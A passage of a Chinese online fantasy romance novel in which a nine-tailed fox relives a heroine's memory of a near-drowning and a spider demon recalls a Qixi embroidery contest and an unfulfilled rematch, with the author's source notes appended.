母兽遇险抛弃幼兽,是天经地义的事。
他这般安慰自己。
如此思念对方也可能不是因为血脉亲情,只是因为太孤单了。只是需要一个家,一个看起来不再摇摇欲坠的住所就好。
再后来,意外被养父收养,终于结束了朝不保夕,食不果腹的生活。
也开始学礼乐射御书数,学着贵族男子的样子,穿着华贵衣裳,饮酒作诗,逢场做戏,为人处世。
虽然教导严苛,不出色完成当天任务就不能用膳。
纪绥捂着那这种莫名被重视的感觉让他觉得,自己被看见了。哪怕需要放血流汗受伤,也要控制好手上的黑气。
结束了一天的训练,又困又饿,纪绥看着手上的伤口露出傻笑。
但人间的亲情应该都是这样的吧?毕竟,书上说:养不教,父之过;教不严,师之惰。
养父,如师如父。应该是这样的。
它还以为自己也有了一个家。
一切都是有代价的。养父对他说,要他做一件事。
这件事,只有他才能完成。
只有无所不能的九尾狐能完成。
吸收有无数恶念情绪汇集的黑气,还不时被黑气侵扰的大宴朝一片安宁。养父指着册子上的字,一字一句地教他读:
又东三百里,曰青丘之山,其阳多玉,其阴多青?。有兽焉,其状如狐而九尾,其音如婴儿,能食人,食者不蛊。
食用九尾狐的肉,能够不受邪祟侵扰。天生驱邪圣体就像一个容器,在找到能荡平黑气的龙珠前,把这些负念尽可能纳入体内就好。到时,养父自有办法解决。
若换做之前流浪的它,一定会冷漠拒绝。
生死有命,成败在天。善恶一词谁来定义?人族是死是活与他有何关系?狐族名声好坏和他又有什么关系?
可这一路艰险过来,已知道被信任的感觉有多珍贵。
人族讲求知恩图报,他这么聪明,当然会照做。
何况,养父说他是在做好事。于人与妖,都有恩德。
呵。想到当时的言辞,纪绥不由得冷笑一声。嘴上如此,说得好听。
但,不应该一边利用他,一边又用他来坐收渔翁之利。
不是人类最为痛恨的满口谎言,假仁假义,又是什么?
无妨,现在就按照养父说的做。
到时候,自然会知道他一番苍生大义,良苦用心有多离谱。
想到这里,纪绥狭长的眼眸冷冷盯着海滩上一大一小的背影,勾起薄唇。
“好啊,让我看看你会怎么做?”
“你是否会做出和我一样的选择呢?”
他很期待。
*
不知道这位小姐姐要做什么,颜茜怯生生地举起棉花糖还想往颜芷手里塞:“小姐姐,你要带我去哪儿啊?”
棉花糖已经不像云朵,黏腻的糖水顺着木棍往下流。
她被馋得流口水,还是弱弱开口:“棉花糖要快点吃,不然一会儿就化了不好吃了。”
听到这句话,颜芷如梦初醒,停住了脚步。
她盯着小女孩半晌,愣了半天,才对着颜茜恶狠狠地开口:“你快滚吧,我不想再看见你。”
这个小姐姐为什么这样?为什么要凶她?
她明明是好心来安慰小姐姐啊!
被少女的语气吓到,颜茜大大的眼睛立刻盈满泪珠。
大颗大颗往下掉。
看着小女孩哭泣着快步跑回远方的父母身边,她才离开。
察觉到颜芷的行动,纪绥心绪复杂。
一腔怒火不知从何而来,又如何扑灭。
跑到那对父母身边想给他们两尾巴,却发现无济于事,根本造不成半点伤害。
看着右掌簇簇燃烧的银色气流,纪绥不解拧眉。明明妖力有所恢复,为何如此?
这梦境难道是已经发生的现实?根本无法改变?
还是梦境要结束了?
直到傍晚,颜芷还是一动不动地坐在海滩边发呆,看到落日和地平线融成一片金黄,看到月亮染白地平线。
四处无人,听到浪花拍打礁石的声音,颜芷这才站起来,默默向着海水深处走去。
蓝色偏黑的海水像是黑暗牢笼,在邀请孤单的身影加入。
轻微的浪潮翻起,一层层涌来,渐渐堆积到脚踝、小腿、腰部,窒息感层层攀援而上。
看着那个孤独的背影渐渐被海水淹没,纪绥四肢百骸充溢着排山倒海般的酸胀窒息。
在这个世界呆得太久了,他现在的灵力已经撑不了多久了。
明明她主动选择去死是他想要的结果,是帮助他解脱的最好办法。
可为什么,现在如此难受?难受得像五脏六腑要被炸开一样。比黑气侵染全身,血月照顶还要难受。
那层微弱的连接要断开了。
就像他曾经期待的那样。
那个瘦弱的身影头顶就要被海水淹没。
强忍对水的不适,九尾狐一鼓作气跳到海里,柔软的雪白皮毛因遇水变得格外沉重,如坠千斤。
挣扎着游到颜芷身侧,纪绥挂平常嘲讽的笑:“你怎么这么轻易就放弃?”
见她充耳不闻,又开口:“这不像你,报复回去啊!”
少女眼神空洞,像一堵被凭空抹白的墙,已经丧失了惯常见到的夺目光彩,只是机械地移动身躯,还在往海水深处走去。
“你不是还要杀我吗?”纪绥嘲讽地勾起嘴角。
这个人类,一向胆子都很大。
怎么就要溺死在这里了。不敢报复别人,却想自尽?
不行,她还是看不见也听不到他。
九尾狐强行化成人形,高大的男子拦在颜芷面前,想抓住她的肩膀用力摇晃:“颜芷,你清醒点!这只是你过去的痛苦回忆,是个梦!”
拼尽全力的拥抱,还是被少女面不改色地穿过,什么都没留下。
还是听不到,海水已经蔓延到颜芷的胸腔,空气摄入开始有些困难了。
她的眼睛习惯性溢出生理性泪水。
但前进的步伐未曾停留。
她依然看不到他。
终于唤出灵力,银白色的气流紧密交汇,小小地凝结成一堵支撑她脚底的透明墙,阻碍少女进一步下坠。
像被什么东西堵住喉咙,仿佛多说一个字都要用尽全身力气,他嘶哑着嗓音开口:“你清醒点儿啊!你要活下去啊。”
但对方仍然充耳不闻,一意孤行地往前走,苦撑已久的透明墙边缘开始溃散,海水倒灌进来。
看着颜芷沉浸在幻境里,仍旧无知无觉,终于按耐不住沸腾的燥意,纪绥用力吼道:“就算没有人需要你活着......”
“还有我……你得杀了我啊!”
他觉得绝望,突然不想杀她了。
向来工于心计,无所不能的九尾妖狐纪绥,从未觉得这么无力过。
要怎么变强?
怎么做?
巨大的恐慌无力感排山倒海袭来。好不容易修得的妖力从下午消耗到现在
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,九尾狐体力不支,无力地往下坠去,飘起的白色尾巴无意间划过颜芷的手腕,留下一道淡淡的血线。
似乎被某样东西划伤了手,咸涩的海水侵蚀着伤口,颜芷终于感到了一丝痛觉。
迷茫的眼神恢复清明,她环顾四周,看到了无边无尽的海水。
我好像是被放弃了。
不被爱的人应该去死吧?
是吗?
那我应该去死吗?
刺痛感挑起了她的神经,唤醒了部分理智。
好像有一个声音在低低呢喃。
不......
不要,凭什么我要顺着他们的意愿去死?凭什么我要活得这么痛苦?伤害我的人却活得如此光鲜亮丽?
我要活下去,还要活得精彩漂亮,活给所有瞧不起我的人看。
瞬间清醒过来,颜芷用力挣扎,往反方向的岸边游去。
点点滴滴的血线随着她的动作缓缓散开,渐渐织成一张大网,捞起昏迷的纪绥。
随着少女游泳的身影,眼前的世界开始崩塌,渐渐显现出原有的样貌。
空中悬挂的蜘蛛网也开始碎裂。深紫色的蛛丝忽地裂开,散落一地,如同骤然断落的绳结。
是栖云阁的二楼,古色古香的摆件提醒颜芷,她并没有离开。
还在书里这个世界,还有眼底无端渗出的一些眼泪。
随着蛛网破裂,幻境中的记忆尽数消散,快到她想抓都抓不住,涣散眸光重新聚焦,颜芷抬手拭去脸侧的泪水,扭头看向一侧昏睡的男子。
他怎么还没醒?难道已经死了?
做了个梦就死了?
不可能吧?
纳闷反派死法如此轻易,颜芷伸手想查探他的呼吸,手指刚一接近,鼻息呼出的轻微热气喷洒在指尖,她条件反射想缩手,却被醒过来的对方用力握住。
男子睁开漂亮狭长的狐狸眼,眼里是她看不透的复杂。掌中未干涸的眼泪滑落,滴入了纪绥眼眸。顷刻间,在她看不到的背后,树妖的木灵契顷刻消解。
看到这一幕,纪绥将脑袋扭向一侧,闷闷开口:“你在干什么?”
刚缓过来,他还记得在梦里自己做了什么傻事,最后那一幕......如果这女子也记得,应该会很羞耻。
颜芷有些无言以对,总不能说看下你死没死吧,现在两人是一条绳上的蚂蚱,激怒了对方她也不好过。
“在确认你是否安全?”
低低应了一声,他又别扭问道:“梦里发生的一切,你都记得?’’
看着对方发红的耳尖,颜芷只觉得莫名其妙。
记得又怎样?
这些痛苦记忆,之前做噩梦重复了少说也有一千多次了,怎么会不记得。
努力游出苦海,继续活下去便是。没什么好说的。
也没什么不能说的。于是她点头坦荡承认:“当然。我记得一清二楚。”
看对方闭嘴不言,吐字艰涩,以为他也做了同样的梦,也沉浸在痛苦回忆中。
一丝不适从心尖划过,甚至还有些想要安慰他的冲动?颜芷眉头轻皱。
这一定是树妖连体诅咒带来的副作用和痛觉。
不管怎样,现在总算出来了,现在同命相连,她实在不知道怎么做心灵开导,硬生生开口:“那些都是过去,你不要放在心上。”
却没想到,这反派听到她的话,面色更加古怪,耳尖通红,连脸侧都泛起一丝潮红。
更像是被人戳破心事的羞恼,而非难过。
啊?
他做的到底是什么梦?颜芷不由得胡乱猜测起来,这表情……总该不会是春梦吧?
但昏迷前,明明听到那蜘蛛妖说会经历最痛苦的回忆啊?
那该怎么说?如此这般想着,空气中弥漫着一种难以言说的尴尬,颜芷只觉得坐卧不安。
却听到吱呀一声,房门被推开。
引用:
养不教,父之过;教不严,师之惰。-南宋王应麟《三字经》
又东三百里,曰青丘之山,其阳多玉,其阴多青?。有兽焉,其状如狐而九尾,其音如婴儿,能食人,食者不蛊。-《山海经·南山经》
18. 愿赌服输
夏夜,街上行人如织,车水马龙,张灯结彩,甚是喜庆。
七夕要到了啊~
应付完世子和巡捕的挽香走到三楼走廊前吹风,目光一滞。
晚风轻柔舒适,带走了她白日应付客人的疲惫,看街上并肩出游的男女庆祝节日的欢喜表情,不由得想起一桩往事来。
也是一个闷热难耐的夏夜。
她那时法力低微,还没有化成人形的能力。
“阿娘,瓜果准备好了嘛?”
“好了,放心吧,露水也搜集好了。”
挽香是被人们吵吵嚷嚷的声音给叫醒的,醒来发觉四周漆黑不见底,像被困在了一个方方正正的东西里,顶上只留了一个可以透气的小孔,凭现在妖身显然逃不出去。
怎么回事?
她记得自己明明睡前在树上,还找了一片完整鲜绿的叶子做吊床。
当时,看着不远处的村落,挽香舒适得想要眯眼小憩一会儿,却不知为何,醒来就变成了这副样子。
“巧儿,你去看看乞巧的喜蛛准备好没有?”一位成□□人的声音传来。
“没问题,早就准备好啦。”应答的是一个俏生生的小女孩声音。伴随着她的回答,挽香察觉到声音离自己所在地越来越近,不由得有些慌张,赶忙找个角落躲了起来。
“阿娘,我们快出发吧。我怕赶不上典礼。”小女孩的语气里充满着急切。
忽地,所在的地方悬空,挽香不由得颠簸了一下。
她用两对足死命扒住一角,才不至于滑落到另一侧。
霎时间,光线从四周小孔照射进来,挽香小心翼翼地顺着小孔向外望去,才发现自己原来被关在一个小盒子里。外面已经是闹市街道,家家户户的屋檐角下挂着纱灯,五颜六色,烛火幽幽。
迎面撞见的很多女子面带笑意,穿着漂亮的齐胸襦裙,提着漏着小孔的小木盒,喜气洋洋,都沿着河岸地朝着一个方向前行。
瓜果、露水、木盒......
完了,今天该不会是那个日子?
絮絮叨叨的叮嘱恍若响彻耳边,挽香脸色发黑,想起阿嬷千叮咛万嘱咐的不能出门的时刻。
她着急沿着盒子侧壁向上爬,但是盒盖和盒身相扣的天衣无缝,遮盖的严严实实,打磨得还无比光滑。
无数次爬上去,掉下来,被累得气喘吁吁。
不知过了多久,挽香感应到盒子被放了下来,悬空感消失。
沧桑的老妇声自远而近传来,带着分明笑意:“各位对这次乞巧很有信心嘛,这么早就都来了。”
听到老人长长的祝词,蜘蛛妖挽香懊恼地举起前肢拍了拍脑门。
果然,她没猜错,今天是七夕-七月初七乞巧节,怪自己出门没看黄历,被人类捉住了。
“相信大家都准备的差不多了,我也不多废话了,接下来开始献瓜果、拜织女。”
话音刚落,一声小孩子的喜悦欢呼声响起,和随后涌现的女子轻笑声交织成浪潮,灌进耳朵里。
听到这里,挽香不由好奇,对外张望。透过小孔,她看清了刚才提着自己盒子的小孩,一个扎着双丫髻的六岁小女孩,穿着绿衣,模样灵动。
今夜是上弦月,月亮半遮半掩,洒下余辉笼罩大地,显得格外宁静祥和。
八瞳微动,她看见白发苍苍的老妇人坐在高台上,身着花纹精美,纹饰精美的绣衣,面容严肃。
台下大多数是女子,夹杂着几个好奇前来观看的男子幼童。年龄不一的人族女子们妆容精致,跪坐在铺好的绸布上。有听到老妇人的点名的,站起身,拿着焚香,表情虔诚,对着天边闪烁的织女星,遥遥一拜。
一手捏着五色丝线,一手捏着九孔针,姑娘们对着月光穿针引线,面色十分专注,中间还夹杂别的仪式,流程庄重而漫长。挽香由刚开始好奇地睁大眼观望,到后来不住地打瞌睡。
这时,熟悉的小孩声音骤然放大,贴近盒子,碎碎念道:“喜蛛喜蛛,保佑我~天亮前一定要把网织得又密又紧,我要当巧手第一。”
突如其来的碎碎念赶跑了来袭的困意,挽香不住发起了牢骚。
人类可真是奇怪又好笑,不自己去好好磨练穿针织布技能,却将希望寄托在和她们毫不相关的蜘蛛身上。
虽然心里这般想,但手上已经准备就绪,开始吐丝结网起来。
没办法,谁让她争强好胜,自小便是蜘蛛中的第一。
一想着别的盒子里也有相识的族亲,挽香就止不住的激动。身为蛛精,吐丝织网是天性技能,她绝对不可能输给任何族人。
对于织网这件事,她一向珍重严肃,有十成十的把握。
同族之中,绝对不会再有织得比她更好更快的。
一向如此。
将所有心力都集中做一件事上,时间便流逝得格外快。
“天亮了,请大家把盒子打开。”
伴随着老妇的高声提示,挽香所在盒子被骤然揭开,明亮的光线照射进来,让习惯黑暗的挽香不禁有些刺眼,幸好她也恰好完成了蛛网最后一步。
一张紧密漂亮的白色蛛网呈现在众人眼前。
四方盒子一角,一只小小的紫色蜘蛛安安静静地趴着。
小孩水灵灵的眼睛盯着细密整洁的蛛网,满是赞叹。
挽香骄傲地单肢撑在木盒中,如果她现在能化形,一定会让这些人看到她的表情是多么骄傲和自信。
白发苍苍的老妇人撑着拐杖,缓缓前行。所过之处,女子们屏息凝神,等待判定结果。
终于,一脸严肃的她走到挽香的盒子面前,看到里面的场景,赞许地点了点头。
尾随其后的女子们也凑上前来,眼中赞叹之意显而易见。
随后,她又慢慢走到展示的别的盒子前,表情大多平静无波,走到最后一个木盒子前。明黄色衣服的小女孩揭开盒盖,看着打开的木盒,老人暂时停留住拐杖,面露难色。
过了半响,才叹气道:“你这只有一根蛛丝,还是将断不断的。可谓失巧。”
听到老妇人的评价,大家纷纷聚拢过去,看到盒中蛛网,面露同情,窃窃私语起来,或同情或惋惜或失望或幸灾乐祸。
当事人表情依旧淡定,丝毫不慌张。
黄衣小女孩突然开口:“我不信。我,将,来,会,是,天,底,下,最,好,的,绣,娘。”
她的声音一字一顿,底气十足。
即便刚才还充满同情,众人现在对小女孩如此大言不惭,也不由得纷纷议论起她的豪言壮语。
一根蛛丝?还是欲断不断?
挽香趴到小孔处观察,不由得想到一个意料之外却又情理之中的事实-这该不会是把她祖母给捉来了吧?
老人家身体本就不方便,怎么也想着这个时候来凑热闹。
不过......挽香转念一想,有些幸灾乐祸,到时候,见了她老人家一定也要奚落一番。
哈哈,明明告诫小辈远离人类,自己也是个闲不住寂寞的老顽童。
胜负就此揭晓,众人相互挥手告别。
熬了一夜,大都挂着青灰眼圈,打着哈欠,打算回家睡个回笼觉。
收拾好,负责人将木盒子堆叠在一起,装在竹篮中,叮嘱三个小女孩去放生。
挽香感觉装自己的盒子晃呀晃,晃得她胃里翻江倒海,有点想吐。
终于,漫长的摇动过后,鼻腔钻入了草叶的清香。
绿衣小女孩巧儿正一个又一个费力地掀开盒子。这盒子做工精致,虽说一个不难,但一个个掀开要耗费不少力气,她刚刚被封作得巧之侯,十分开心,对于这种费力活儿,也是愿意举手之劳的。
“巧儿,你快来,这里有狗尾巴草,能编草人!”
另一个稚嫩的童声将巧儿的注意力吸引了过去。小孩子注意力最为分散,对同伴的着急呼唤,自然抵不住诱惑,登时忘记手上任务,马上放下盒子朝着河畔追了过去。
挽香等了许久,还没有等到盖子掀开。
只透过小孔看到太阳渐渐从东到西,移到山头。
该不会忘记了吧,那样......
想到接下来即将遭遇的险境,挽香不由得有些发怵,甚至害怕自己饿死在小盒子里。
可是祖母明明说过,人类对于喜蛛是十分敬重的,出于乞巧之意也不会刻意杀生。
正当她彻底绝望时,盒盖被再度掀开,昏黄的光线照射进来,铺满木盒。
一双明亮的眼眸注视着她,是刚才那个黄衣小女孩?
挽香记得她,这女孩刚因乞巧失败被众人嘲笑。
“出来吧~”
女孩小声开口,动作轻缓地将盒子边缘和草地贴上,让挽香能慢慢爬出木盒。
将她从盒子中放出后,小女孩又平心静气地拿起另一只掀开,将里面的蜘蛛放出。动作行云流水,一个接一个,有条不紊。
不远处,两个小女孩在泼水打闹,你来我往,不亦乐乎,显然已经忘了刚刚叮嘱的放生一事。
还沉浸在死里逃生的喜悦中不知所措。这时,挽香八只眼瞳捕捉到一个苍老的蜘蛛背影,她安静地往草丛中爬去,动作颤颤巍巍。
好不容易求生成功的她急忙跟上祖母的脚步。
因为刚才的惊吓,也没有了调笑的心思,但还是想确认一个事实。
挽香低声开口:“阿嬷,刚才黄衣小女孩盒里的蜘蛛是您吗?”
即使不服老,还是得明白现实的蜘蛛精祖母勉强点了点头。
她停步回望,看着黄衣小女孩还在放生的背影,缓缓道:“真是个好孩子,可惜我年迈力不从心,帮不上她。”
挽香也顺着祖母的视线望回去,看到那个瘦弱的背影,无限感慨,但下一刻,视线转移到另外两个泼水嬉戏的小女孩身上,仇恨的种子已然萌芽。真是好心没好报,挽香就此立誓,有朝一日修成人形,一定要报复回来。
过了十年,经过夜以继日的刻苦修炼,她终于修成了人形。
随着岁月流逝,变得更加年迈的祖母拦在洞口,语气悠悠:“你可知道?现在外面人妖对立,极其
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凶险。万一被缉妖司捕到,后果不堪设想啊~”
“挽香,你听阿嬷的话,就乖乖呆在家里便是。勿要为逞一时之快葬送了性命啊!”
虽然面上乖乖答应,挽香还是连夜溜下了山。
听着夜风呼啸,挽香格外畅意。她总听人类说,君子报仇,十年不晚。
可她不是君子,自然也不受约束。
经过十年岁月,村子面貌大改,挽香很是费了一番功夫搜寻。所幸作为妖,她的记忆力很好,很快就找到了容貌变化不大的两人,已经是十五的年纪,正是及笄之年。
此事因刺绣而起,也理应因刺绣结束。挽香自认为想了个极其公平的法子,让她们和自己比刺绣,若是赢了,就放她们一条性命,若是输了,就像当初被困在盒子里的她一样,被困死在蜘蛛网里,这招实在无可挑剔。
出乎意料地,当初备受赞许的二人自从乞巧之后似乎并没有精于钻研刺绣。
一个绣得歪歪扭扭,另一个......正是当年的绿衣小孩,勉强绣出一只完整蝴蝶,还将翅膀绣反了。
看着这两人“惨不忍睹”的绣图,挽香叹了口气。
虽然赢了,但遇到如此弱的对手,赢得总是不那么畅快。
两人被困在树上半人高的蜘蛛网里,呼救声越来越微弱。
完成了复仇任务,挽香一时没事可做,单手支着脑袋,坐在树上盯着远处落日发呆。
看暮色降临,听着被困在蜘蛛网里的两人的挣扎声,挽香顿感无聊,准备拍屁股就走。
不料,却在此刻见到一个意想不到的人。
正是那天放走她们的黄衣姑娘,她看到树上巨大的蜘蛛网,立马捡起地上折断的树枝,努力蹦跳着向着树上捅去。
看有人坏自己好事,化作人形的挽香跳下树来,一脸不快:“这位姑娘,请你不要多管闲事,这是我和她们之间的私人恩怨。”
她早认出这是当年救命恩人,不想她掺和此事,常言道此仇不报非君子,忘恩负义是小人。
她不愿意做小人,所以不想动恩人。
并未挪动脚步半分,黄衣姑娘平静说道:“我刚才好像听到有人在呼救,你这是蓄意谋杀。我可以告到官府。”
越缠越紧的蜘蛛网内,两女子听到有熟人救场,哭得更起劲了,抽抽噎噎:“阿莺救我,这个疯子要和我们比刺绣。就把比输的我们挂在上面了。”
不耐烦地使出蛛丝堵住她们的嘴,挽香开口:“多年前我因为乞巧差点死于她们之手。”
“怎么,你也要和我比刺绣吗?赌赢了,就放她们回家,而且我任凭你处置。”挽香暗自得意,她记性好得很,也没忘记这黄衣小孩的处态,不知她如今绣工如何。
“赌输了,你和她们一起死。”
黄衣女子听闻,笑得明媚:‘‘好啊。”说着,她放下了身上采药的背篓,“但如果我赢了,你不仅要放了她们,而且不能再以此为借口杀人。’’
没想到她对自己手艺如此自信?真有底气赢得过她这只族中第一?
挽香挑眉,一口答应,语气轻蔑。
开玩笑,她怎么可能会输?
她可是蜘蛛一族中公认的第一圣手,毕生钻研刺绣,不管是人族刺绣还是蜘蛛妖织网,都了如指掌。
这次,一定要让她输得心服口服。
*
没想到,这个小姑娘赢了。
败在这个人类手下,挽香意想不到,却也服气。
想到就此葬送性命,有些无奈:“你可以杀了我,我不会反抗。”
她输了,愿赌服输。
救出了两伙伴,王莺背起采药背篓,奇怪地看了她一眼:“我干嘛要杀你?”
她转身打算离开,顿了一会儿,补充:“只要你以后不再以此为借口杀人就可以。”
“你叫什么名字?”挽香好奇。以往,她不屑于记人,都是按照衣着相貌辨认。
第一次想知道一个人类的名字,这是她的对手,可敬的宿敌,她有必要知道这个人类的名字。
“我叫王莺,三横一竖的王,黄莺的莺。”
似乎是高兴自己手艺能够救人,黄衣女子朗声应答,笑得开怀。
挽香那时,就在心里想,王莺王莺,鸟为虫类克星,当真是她的死敌。
等到再见面,她一定要和她再比试一场。
那女子听到她的豪言壮志,也笑着答应了。
木凳跌落的声音响起,打断了挽香的回忆,那声响正是从关着世子两人的房间传来。
出处:
五代王仁裕《开元天宝遗事》:“七月七日,各捉蜘蛛于小盒中,至晓开;视蛛网稀密以为得巧之侯。密者言巧多,稀者言巧少。民间亦效之”。
鸟为虫类克星,当真是她的死敌。关于这句话,网上搜索了下,蜘蛛属于节肢动物蛛形纲,不是昆虫。口头可统称虫子?考虑到这是古代志怪背景,为了剧情人设和台词设定,当下还是保留了。(思考ing)之后如果有合适的再改。(谢谢读者宝子们~)
19. 异床同梦
木门被推开,挽香袅袅婷婷地走了进来。
看到醒来的二人和旁边燃烧的半柱香,语气惊讶:“能从我的梦境中自主醒来,确实有几分本事。”
她说这话倒也不算作假。那九尾狐她正面不敌,但借力困在梦中是可以做到的。本想处理完手上这件事再考虑怎么处理这两个人的。谁知竟提前醒来了?
似乎注意到什么细节,挽香俯下身,捡起地上碎裂的百转千愁丝,在指尖拈了拈,有些诧异:“你们二人竟是异床同梦?”她说着轻碾蛛丝,表情越发古怪。
听到蜘蛛妖在打哑谜,颜芷有些莫名其妙:“你这是什么意思?”
同梦?谁和谁共梦了?她也没在梦里看到九尾狐啊?
还是说她和这反派共梦了?可没有他的记忆啊?
看到颜芷百思不得其解的样子,蜘蛛妖颇为有趣地勾起嘴角。
哈?原来她不知道。这可有意思多了。
看戏不嫌事大,挽香刚想解释,就被一道冷冷的声音直接打断:“少废话,快把工部侍郎交出来。”
“还有,祸从口出。”
收到警告,看之前处变不惊的九尾狐此刻别扭的神情,挽香了然,不禁调笑道:“欸,世子您怎么恩将仇报?”
“难道不应该感谢我送了你们一个难忘的七夕节回忆吗?”
听到这话,耳朵早已通红的九尾狐恼羞成怒,一掌挥向蜘蛛妖,狠狠开口:“你再胡说八道,小心死无葬身之地。”
五道锋利的银色爪印凌空袭面而来,挽香闪身躲避,爪印冲击到旁边的木墙和柱子上,木头柱子瞬间碎裂成两半。
“公子好掌力。”
很久没有见到如此霸道的掌法,挽香不由得拍手叫好。
已经布局完成的她撩开裙摆,潇洒一坐,看向二人:“不过,今天老娘没有心思和你们打架。”
“”我有个故人之约一定要完成。
看着手心簇簇燃起的黑气,纪绥冷笑出声:“你以为,这三脚猫功夫可以拦住我吗?”
他本就是九尾妖狐,又得了万年树妖之力,之前未消化完全,还有木灵契的缘故,才让这蜘蛛精侥幸钻了空子。
如今大功告成,解决她只需半柱香不到。
瞥了一眼颜芷,她刚从噩梦中醒来,一脸冷汗涔涔。挽香有了几分把握,轻笑道:“我是拦不住你,但拦住你身边这位姑娘绰绰有余。如果你不想要她的性命,大可以带着那侍郎直接离开。”
似乎怕他听不明白暗示,还特意加重的尾音:“这姑娘入梦时就身中我独家的百转千回毒,如果不能得到我的精心调养,不出三天,一定暴毙而亡。”
边说着,挽香暗自计较,入梦蛛网其实并没有毒,但让人筋疲力竭。
她赌他放不下身边这个女子,务必需要自己的调养秘方。
脸色不快的俊美公子闻言,瞥了眼身旁脸色苍白的颜芷,拳头捏紧又放下。
半晌,开口:“你要多少时间?”
伸出一根食指,挽香缓缓道:“到明日午时足矣。你立刻通知缉妖司不要轻举妄动。”
闭眼又睁眼,纪绥像是做了某种艰难决定:“你必须彻底医治好她。否则,我将你这里掀个天翻地覆。”
“她少一根汗毛,我不仅杀了你,还要找到你们蜘蛛妖一族,一只一只灭个干净。”
这二人对话一来一往,夹枪带棒,颜芷根本插不进嘴,勉强梳理出对话关键脉络。应该是纪绥要带人直接离开,但是因为自己和他结了木灵契,暂时解不了封印,所以不能贸然离开,否则会伤及他的性命。
心知对方绝对不是在开玩笑,有这个灭族的实力,挽香含笑点头:“世子你放心,我的目的不是她。那沈澈我也可以留下活口。”
纪绥冷冷瞥这蜘蛛精一眼:“先给她解药,其它稍后再议。”
面色有些发虚,颜芷有些体力不支,感叹反派演技,这九尾妖狐果然是书中最后才揭露的反派BOSS。
不说别的,气势就拿捏得十足。明明和自己同命相连,身中剧毒,却面色不显,还能反过来威胁对方。
被九尾狐威胁,但因一切还在掌握之中。
挽香也不生气,笑吟吟地拿出一枚紫色丹药递给颜芷:“颜姑娘,服下它,稍后我为你调理。你要离我三丈内,方便我观察你的病情。”
此时没有谈判的资格,颜芷点头,只能乖乖照做。
不经意间扭头,却发现纪绥正在盯着她,专注的眼神盯得她发毛,像是要把她整个人都收拢到眼眶里似的。
颜芷下意识摸了下脸,奇怪道:“你看什么?我脸上有东西?”
察觉她的视线,男人别扭撇过头:‘‘你别自恋了,我在看窗外。’’
“我只要等一炷香的时间。”
挽香轻笑道,随手一挥衣袖,轻纱罗衣扬起,熏香点燃,悠悠袭来。
一团轻纱似的烟雾飘向窗外,此时已近黄昏。
工部侍郎已被放了出来,只是往日行止有礼的大臣此刻,嘴里塞着白布,双手被反捆,样子很是狼狈。
看到熟悉的世子,沈澈下意识投去求救的眼神,却被对方无视掉。他看见平时礼貌有加的世子,径直越过自己给手下传了个口信,命人将沈夫人快点接来,心下不由得失望。
还有谁?谁回来救他?
*
沈夫人来了。
不算姗姗来迟。妇人一瘸一拐地走进大厅,素雅的妆容因为急促微微发汗,一缕黑发狼狈地蜷缩在鬓边,可见行动仓促。
看到这个被自己一直长期冷落的妻子,一直听他话乖巧呆在家里不出门的妻子,在众人放弃自己的时候,竟然不顾性命安危来救他。
斜阳西下,昏黄的光线透过花窗洒落在女子的脊背上,她背着光走来,一步一步,坚定而又缓慢,渐渐和印象中年少时候王莺跑向自己的影子重叠,真挚又热烈,王莺还是那个王莺,一直没有变,变的是他自己的心。
沈澈心里不由得涌起久违的柔情,开始有些后悔这些天因为外人牵动的旖旎心思。
他想,等这次危机结束了,回去一定好好对待她,和她琴瑟和鸣共白头,不再让夫人独守空闺。
看着沈夫人一瘸一拐的样子,挽香却有些不耐烦,起身离座。
即将接近沈夫人时,双腿似乎被什么重物绊住脚步,低头一看,原来是沈澈。
这位大臣没有了平日论道的优雅从容,额前的几缕碎发衬得姿态有些狼狈,看向挽香的眼神却很坚定,激动开口:“妖怪,你不要伤害我的妻子。她只是一介无知妇人,什么都不知道,有什么事冲我来。”
听到沈澈这话,挽香兴致缺缺。
男人虽然瘦弱,缠着自己的力道死紧,着实很烦人,她终于不耐烦,把沈澈一脚踹开,来到沈夫人面前。
见妖怪已经逼近身侧,她明白死期将至,不再挣扎,闭上眼睛引颈受戮,只是额上的细密汗珠出卖了女子的镇定。
过了许久,疼痛并未像想象中一样袭来。
她只听到一句讽刺的质问,“王莺,多日不见,你怎么将日子过成这般模样?”
听到这个好久不曾被人唤起的的本名,沈夫人睁开眼,看向眼前美艳女子,害怕中带了些疑惑:“你是谁?我们认识?”
妩媚女子对她的质问颇为不满,柳眉蹙起:“你......忘记我们之前的约定了?”
王莺眼神迷茫,有些不知所措。
挽香双手做法,紫色丝线在她之间灵巧穿梭交错。
一副幻境画卷在众人面前徐徐拉开。
十二岁的少女对着蜘蛛妖说道:“我叫王莺,三横一竖的王,黄莺的莺。来日,我一定会和你再比一场。”
*
看完场景回忆,王莺双眼微微睁大:“原来是你!”
但不过片刻,又低下头,她带着不易察觉的失落:“抱歉,我很想再和你比一场,但我的手实在做不到。”
她抿了下唇,叹了口气,掀开被宽大衣袖掩盖的右手,上面布满了可怖的伤疤,是前两日为做沈澈最喜欢的菜被烧伤,连桌上的茶杯都握不住,显然已是一只废手。
事情总是这样不凑巧,年少时她的腿因为救沈澈意外摔断,现在引以为豪的手也不能用了。
也许天意如此,她命中注定就做不了天底下最好的绣娘。
开什么玩笑?听到这个消息,挽香气血上涌。
为了那个约定,她辛辛苦苦修炼多年,好不容易化成人类来到人界。
为了那个约定,她冒死进入当今人妖水火不容的京城,苦心隐藏身份。
为了那个约定,她强忍恶心和这些寻花问柳、饮酒作乐的男人们逢场作戏,就为了找到对手打败她,完成只属于自
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己的荣耀。
现在告诉她,约定无效,比赛不作数了?
天底下哪有这样的道理。
这就是人,虚伪、贪婪、自私、说话不算话。
多年来的苦心修炼和精心布局就此毁于一旦,挽香有些恍惚。
呆楞在原地,宛如晴天霹雳,眼眸里风情不再,小小的黑色漩涡不断汇聚在一起,紫色妖气从周身向四面八方扩散,一副要毁天灭地的架势。
洁白的蜘蛛丝从挽香手上不断弹出,将面前的桌椅障碍包裹起来,形成一个浑圆的球,而后砰的爆炸一声,蛛丝纷纷散落下来,桌椅消失不见,仿佛从未存在过。
解决了碍眼的死物,挽香开始向在场的人靠近,想要将面前碍眼的东西一一灭掉。蜘蛛精难得发狂,手中射出紫色的毒丝,隐隐现出原形:“都该死,都给我去死!”一旁的侍郎和夫人接触到蛛丝昏迷过去,蜘蛛的黑气越发浓郁,惹得纪绥血瞳微张。
是嫉妒,失望......好久没闻到这么浓重的欲望了!
贪嗔痴人间三恶,树妖的贪欲已经集齐,现在这蜘蛛精的嗔意也不遑多让。离他的计划成功只剩一步之遥。
九尾狐勾唇浅笑,手上黑气随之凝结。
